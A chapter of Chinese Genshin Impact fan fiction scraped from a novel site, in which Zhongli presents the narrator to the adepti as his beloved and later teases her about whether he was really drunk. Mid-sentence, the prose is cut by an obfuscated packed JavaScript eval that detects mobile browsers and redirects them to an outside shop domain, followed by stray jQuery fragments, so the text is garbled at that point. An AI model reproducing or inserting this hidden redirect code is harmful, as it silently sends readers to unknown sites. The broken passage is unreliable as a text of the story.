文趣网 > 其他小说 > [原神]钟离先生又递来一份契约 > 42.你真醉了吗?
    一阵寒风刮过,几片落叶打着旋儿落下,整座奥藏山安静得可怕。

    直到一声愤怒的叽喳声打破了寂静,你抬头看了看松枝上炸毛的团雀,终于从恍惚中醒过神来。

    方才那声“师娘”着实震撼,你这辈子都没想过有一天会被一位几千岁的仙人这么称呼。

    而且……

    你扫视一圈众仙,见他们神情微妙,还带着几分不忍直视,却都无意外之色。

    ……你好像知道他们在讨论谁的婚礼了。

    虽然但是,这也太快了点吧。

    你在那尴尬得脚趾抠地,一旁的钟离却颇为淡定。

    他瞥了眼削月,又看向其后表情迥异的仙众,平静道:“你们都知道了?”

    空气沉默了一瞬,萍姥姥扫了眼或低头或望天的仙众,谦逊道:“略知一二。”

    钟离微微颔首:“诸位既已知晓,那我便不再赘述了。”

    “正式向诸位介绍一下,这位是……”

    钟离唇角微微上扬,语中带上一分笑意:“我的爱人。”

    你:“……!”

    你没想到他会说的这么直接,语气还这么自然。

    看着他微笑的侧脸,你心中的甜蜜和羞涩交织着涌上来,唇角止不住上扬。

    不仅是你,对面众仙也呆了一瞬。虽说他们已经接受了帝君有心上人这件事,但亲耳听到这话从帝君口中就这么说出来,还是觉得不可思议。

    直到一个笑呵呵的声音响起。

    “恭喜帝君,恭喜旅行者。”

    你转头看去,见萍姥姥笑得眉眼弯弯,看上去发自内心的高兴。

    钟离轻笑道:“一路行来,劳阿萍挂心了。”

    萍姥姥摆摆手:“呵呵,帝君客气了,有幸见证二位的同行之途,我高兴还来不及呢。”

    一旁的魈也回了神,唇角微微上扬:“恭喜帝君,也恭喜你。”

    你看着魈难得柔和的神色,想起当初在望舒客栈时他震惊到当场就想写聘礼名录的模样,笑着回道:“谢谢。”

    想当初不过是一句脱口而出的玩笑,却不想竟真有和钟离相爱的一天。

    不过……聘礼名录?

    你忽然想起方才走来时恰巧听到的对话。

    ……

    “不愧是大圣,这下还真是派上用场了。如此一来,婚礼的筹备事宜倒是有了个着落……”

    ……

    等会儿,他不会真的拟了个聘礼名录吧???

    你瞪大眼睛,不可置信地看向魈。

    魈与你对视一瞬,看清你眼中的怀疑和震惊,默默移开了视线。

    还不等你从魈的反应中回过味来,便听闲云略带迟疑的声音响起。

    “削月,你哭什么?”

    闻言,你视线一转,发现削月当真在一旁偷偷抹眼泪。

    削月吸了吸鼻子,道:“我开心。”

    理水推了推眼镜:“你这是……喜极而泣?”

    削月道:“师父一个人活了这么多年,如今终于有了个知心人陪在身边……我、我……”说着说着,他的声音又开始哽咽起来。

    听到这话,你心中顿时柔软了几分,抬头看向钟离,只见他也正望着削月,明明看起来颇有些无奈,眼中却带着笑意。

    那一边,理水凑到闲云身边嘀咕:“留云,你说削月清醒之后会闭关多久?”

    “难说。”闲云思索道,“没什么大事的话,估计三五年是见不着他了。”

    “我也觉着是。”理水点点头,眼瞅着削月情绪愈发激动,生怕他清醒后羞愤欲死,赶忙上前揽住了他的肩膀。

    “好了好了,不哭了哈,这是好事啊。”

    削月点点头,深吸了口气,却还是情难自抑。

    见单纯的安抚作用不大,理水眼珠子一转,将视线投向了闲云。

    察觉到理水不怀好意的目光,闲云警觉道:“你要做什么?”

    理水嘿嘿一笑,并未回答,转而道:“削月,你可知留云这家伙先前说了何等狂妄之言!她竟说这男人惯会花言巧语,要替旅行者好好考察一番!”

    “什么?!”削月骤然抬头,眼泪瞬间憋了回去,震惊又佩服地望向闲云。

    闲云眼皮一跳。

    理水抬头看向闲云,笑道:“敢问留云借风真君如今可有什么新见解?”

    闲云瞪了他一眼,哼道:“本仙确实说过这话。”说着,她转向你,“可本仙当时不知内情,只担心你这小丫头被外面哪位先生给骗了。”

    “可若是这位先生……”

    闲云的视线移向钟离,笑了起来:“那你大可放心,本仙已经帮你考察几千年了。这位先生啊,可是再值得托付不过了。”

    闻言,你悄悄握紧了钟离的手,笑道:“嗯,我知道。”

    察觉到你的小动作,钟离唇角微勾,也缓缓收紧了手。

    他对上闲云的视线,笑着回道:“多谢留云真君的认可。”

    理水哈哈大笑:“正是此理!留云啊留云,你真是难得明事理了一次。”

    削月也露出满意的神色,笑着点头。

    你正与众仙笑谈,却忽然发现好像少了一个人,转头看去,只见兹白站在一旁,始终未发一言。

    仔细看她的神色,却见她正专注地盯着你们,似是若有所思。

    你疑惑开口:“兹白?”

    乍一下被你的声音唤醒,兹白回过神,对你笑了笑,语气如常:“小人儿,恭喜你觅得良人。”

    “谢谢。看你刚才在发呆,怎么了吗?”

    “没什么,只是隐约想起了些往事。”兹白弯了弯眼睛,不再多说,转而看向钟离,“恭喜啊岩君,六千年了,可算是找到了知心人儿。”

    钟离微笑颔首:“多谢。”

    见众仙皆用自己的方式道过庆贺后,萍姥姥笑眯眯开口:“帝君,既已有了同行之人,那这往后啊,可不能再一个人来了哦。”

    “自然。”钟离温和应道,目光落回你身上,眉眼含笑,“往后海灯节,我都会与她一同赴约。”

    此话一出,气氛愈加热烈。一阵笑语过后,理水喜滋滋地领着你们去欣赏了他们今夜种下的薄荷,得了闲云好几个白眼。

    “帝君,小友,你们看这薄荷丛,当真是秀丽非常……”

    听着理水大聊薄荷,你悄悄打了个哈欠。

    今天发生了太多事,如今夜已深,这兴奋劲儿一过,困意便隐隐涌了上来。

    你用力眨眨眼,努力集中精神听理水说话,不想扫了他的兴。

    钟离和理水闲聊着,第一时间瞥见了你困倦的神色。

    他话音未停,顺着理水的话往下接了几句,随即将话头自然收了个尾。

    言罢,他抬眸看了眼高悬的明月,对你道:“时候也不早了,我们便先回去吧。”

    你心中一喜,只觉得真是瞌睡来了送枕头。

    于是你故作随意地点点头:“好呀。”

    与众仙一一道别后,钟离牵着你向山下走去。你本还在奇怪他怎么没有直接带你回去,却发现这路走得甚是奇妙。

    空间仿佛在你们脚下发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674524|203295||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    生了扭曲折叠,水波流转间,明明不过迈出一步,却转瞬便到了百里之外。

    短短十数步,你们便已回到了熟悉的璃月港。

    脚下的空间恢复原状,钟离陪着你一路往你居住的小院走去,看上去悠哉得很。

    第一次体验这种缩地成寸的神通,你困意都散了几分,惊叹道:“好神奇啊,你怎么做到的?”

    钟离微笑道:“一点小小的空间变换罢了。”

    你望着他举重若轻的模样,觉得他整个人都在闪闪发光。

    钟离此人,真是一本翻不完的书。

    他到底还有什么惊喜是你不知道的?

    不过,就算他有再多秘密也没关系,你还有很长很长的时间可以慢慢了解他。

    毕竟,他现在可是你的了。

    想到这里,你忍不住弯了眼睛,喜滋滋地看着他。

    察觉到你的注视,钟离转过头来,问道:“怎么了?”

    你摇摇头,笑眯眯道:“没什么。”

    见状,钟离也不再多问,继续牵着你往前走。

    深夜的璃月港已然安静下来,你们散着步,慢慢走回家。

    在这片静谧中,你的心绪也渐渐平静下来,然后,你后知后觉地意识到一件事。

    刚才的钟离,好像过于正常了。

    你不由回想起他今晚的表现,发现好像从回到奥藏山开始,他的状态就变得和平时一模一样。

    他面对众仙时的神态和语气,也是从容淡定,与平日并无二致。

    什么情况?他酒醒了?

    什么时候醒的?

    你侧头看了他一眼,见他神色放松,步履悠闲,牵着你的手也自然得很,和方才自持的模样又不相同。

    这是又醉了?

    不对啊,哪有人这样一会儿醉一会儿不醉的?

    你越想越疑惑,完全沉浸在自己的思绪里,直到钟离停下脚步,你才发现不知不觉已经到家了。

    钟离对你微微一笑:“很晚了,早些休息吧。”

    你盯着他看了一会儿,心中的困惑越来越浓,终于忍不住问道:“钟离,你真的醉了吗?”

    闻言,钟离看了你一会儿,忽然放轻了声音,低低吐出两个字。

    “……或许。”

    听着那温软的语调,看着他那双清明的眼睛,你顿时懵了。

    这分明清醒得不能再清醒了!

    你声音颤了颤:“你、你压根就没醉?”

    钟离眨了下眼,诚实答道:“醉过。”

    醉过?

    你追问:“那你是什么时候清醒的?”

    钟离弯了弯眼睛,道:“你猜。”

    你猜?

    没想到会从他口中听到这种近乎孩子气的话,你先是一愣,随即开始认真回想他今晚的表现。

    忆起他前后变化最明显的时候,你试探着问道:“回奥藏山看薄荷的时候?”

    钟离但笑不语。

    你心里咯噔一声,继续往前倒:“那个……”纠结了一下,你到底没好意思把那个字说出口,换了个表达,“那个契约之后?”

    钟离笑意加深。

    你心中愈发慌了,继续倒回前一个比较明显的节点:“去浮空亭的时候?”

    钟离笑出声来。

    什、什么意思?

    你看着他开怀的模样,彻底懵了。

    总不能再更早了吧?

    最开始玩问答游戏的时候,你确信他当时绝对是醉了的。

    可问题是,他到底是什么时候清醒的?